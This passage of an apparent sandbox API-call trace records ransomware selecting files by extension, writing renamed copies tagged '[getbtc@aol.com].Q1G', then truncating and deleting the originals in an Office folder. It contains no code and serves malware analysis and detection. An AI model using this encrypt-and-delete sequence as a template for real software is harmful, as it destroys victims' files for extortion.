Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.049] lstrlenW (lpString=".doc") returned 4 [0258.049] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0258.049] lstrlenW (lpString=".docx") returned 5 [0258.050] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0258.050] lstrlenW (lpString=".pdf") returned 4 [0258.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString=".xls") returned 4 [0258.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString=".xlsx") returned 5 [0258.050] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0258.050] lstrlenW (lpString=".ppt") returned 4 [0258.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString=".zip") returned 4 [0258.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString=".rar") returned 4 [0258.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString=".bz2") returned 4 [0258.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0258.050] lstrlenW (lpString=".7z") returned 3 [0258.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString=".dbf") returned 4 [0258.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString=".1cd") returned 4 [0258.050] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString=".jpg") returned 4 [0258.050] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.050] lstrlenW (lpString=".doc") returned 4 [0258.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0258.050] lstrlenW (lpString=".docx") returned 5 [0258.050] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0258.050] lstrlenW (lpString=".pdf") returned 4 [0258.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0258.051] lstrlenW (lpString=".xls") returned 4 [0258.051] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0258.051] lstrlenW (lpString=".xlsx") returned 5 [0258.051] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0258.051] lstrlenW (lpString=".ppt") returned 4 [0258.051] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0258.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.051] lstrlenW (lpString=".zip") returned 4 [0258.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0258.051] lstrlenW (lpString=".rar") returned 4 [0258.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0258.051] lstrlenW (lpString=".bz2") returned 4 [0258.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0258.051] lstrlenW (lpString=".7z") returned 3 [0258.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0258.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.051] lstrlenW (lpString=".dbf") returned 4 [0258.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0258.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.051] lstrlenW (lpString=".1cd") returned 4 [0258.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0258.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0258.051] lstrlenW (lpString=".jpg") returned 4 [0258.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0258.051] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.051] lstrlenW (lpString="MSART12.BDR") returned 11 [0258.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.052] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=58756) returned 1 [0258.052] CloseHandle (hObject=0x3a8) returned 1 [0258.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0258.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.066] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.066] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.303] GetLastError () returned 0x0 [0258.303] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xe584, lpOverlapped=0x0) returned 1 [0258.332] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe590, lpOverlapped=0x0) returned 1 [0258.333] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.333] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.334] SetEndOfFile (hFile=0x3b8) returned 1 [0258.334] CloseHandle (hObject=0x3b8) returned 1 [0258.336] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.336] SetEndOfFile (hFile=0x390) returned 1 [0258.338] CloseHandle (hObject=0x390) returned 1 [0258.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 1 [0258.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.339] lstrlenW (lpString=".doc") returned 4 [0258.339] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".docx") returned 5 [0258.339] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0258.339] lstrlenW (lpString=".pdf") returned 4 [0258.339] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".xls") returned 4 [0258.339] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".xlsx") returned 5 [0258.339] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0258.339] lstrlenW (lpString=".ppt") returned 4 [0258.339] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.339] lstrlenW (lpString=".zip") returned 4 [0258.339] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".rar") returned 4 [0258.339] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".bz2") returned 4 [0258.339] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.339] lstrlenW (lpString=".7z") returned 3 [0258.339] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".dbf") returned 4 [0258.340] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".1cd") returned 4 [0258.340] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".jpg") returned 4 [0258.340] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".doc") returned 4 [0258.340] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".docx") returned 5 [0258.340] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0258.340] lstrlenW (lpString=".pdf") returned 4 [0258.340] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".xls") returned 4 [0258.340] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".xlsx") returned 5 [0258.340] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0258.340] lstrlenW (lpString=".ppt") returned 4 [0258.340] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".zip") returned 4 [0258.340] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".rar") returned 4 [0258.340] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".bz2") returned 4 [0258.340] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString=".7z") returned 3 [0258.340] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".dbf") returned 4 [0258.340] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.340] lstrlenW (lpString=".1cd") returned 4 [0258.340] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0258.341] lstrlenW (lpString=".jpg") returned 4 [0258.341] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.341] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.341] lstrlenW (lpString="MSART4.BDR") returned 10 [0258.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.341] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=14594) returned 1 [0258.341] CloseHandle (hObject=0x390) returned 1 [0258.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0258.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.342] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.342] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.342] GetLastError () returned 0x0 [0258.343] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x3902, lpOverlapped=0x0) returned 1 [0258.368] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x3910, lpOverlapped=0x0) returned 1 [0258.369] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.369] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.369] SetEndOfFile (hFile=0x3b8) returned 1 [0258.369] CloseHandle (hObject=0x3b8) returned 1 [0258.370] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.370] SetEndOfFile (hFile=0x390) returned 1 [0258.372] CloseHandle (hObject=0x390) returned 1 [0258.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 1 [0258.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.553] lstrlenW (lpString=".doc") returned 4 [0258.553] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.553] lstrlenW (lpString=".docx") returned 5 [0258.553] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0258.553] lstrlenW (lpString=".pdf") returned 4 [0258.553] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.553] lstrlenW (lpString=".xls") returned 4 [0258.553] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.553] lstrlenW (lpString=".xlsx") returned 5 [0258.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0258.553] lstrlenW (lpString=".ppt") returned 4 [0258.553] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.553] lstrlenW (lpString=".zip") returned 4 [0258.554] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".rar") returned 4 [0258.554] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".bz2") returned 4 [0258.554] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".7z") returned 3 [0258.554] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString=".dbf") returned 4 [0258.554] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString=".1cd") returned 4 [0258.554] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString=".jpg") returned 4 [0258.554] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString=".doc") returned 4 [0258.554] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".docx") returned 5 [0258.554] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0258.554] lstrlenW (lpString=".pdf") returned 4 [0258.554] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".xls") returned 4 [0258.554] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".xlsx") returned 5 [0258.554] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0258.554] lstrlenW (lpString=".ppt") returned 4 [0258.554] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.554] lstrlenW (lpString=".zip") returned 4 [0258.554] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".rar") returned 4 [0258.554] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.554] lstrlenW (lpString=".bz2") returned 4 [0258.555] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.555] lstrlenW (lpString=".7z") returned 3 [0258.555] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.555] lstrlenW (lpString=".dbf") returned 4 [0258.555] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.555] lstrlenW (lpString=".1cd") returned 4 [0258.555] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0258.555] lstrlenW (lpString=".jpg") returned 4 [0258.555] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.555] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.555] lstrlenW (lpString="MSART6.BDR") returned 10 [0258.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.556] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=55222) returned 1 [0258.556] CloseHandle (hObject=0x3a0) returned 1 [0258.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0258.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.556] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.556] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.557] GetLastError () returned 0x0 [0258.557] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xd7b6, lpOverlapped=0x0) returned 1 [0258.583] WriteFile (in: hFile=0x3dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd7c0, lpOverlapped=0x0) returned 1 [0258.585] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.585] WriteFile (in: hFile=0x3dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.585] SetEndOfFile (hFile=0x3dc) returned 1 [0258.647] CloseHandle (hObject=0x3dc) returned 1 [0258.647] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.647] SetEndOfFile (hFile=0x3a0) returned 1 [0258.650] CloseHandle (hObject=0x3a0) returned 1 [0258.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".doc") returned 4 [0258.758] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString=".docx") returned 5 [0258.758] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0258.758] lstrlenW (lpString=".pdf") returned 4 [0258.758] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString=".xls") returned 4 [0258.758] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString=".xlsx") returned 5 [0258.758] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0258.758] lstrlenW (lpString=".ppt") returned 4 [0258.758] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".zip") returned 4 [0258.758] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.758] lstrlenW 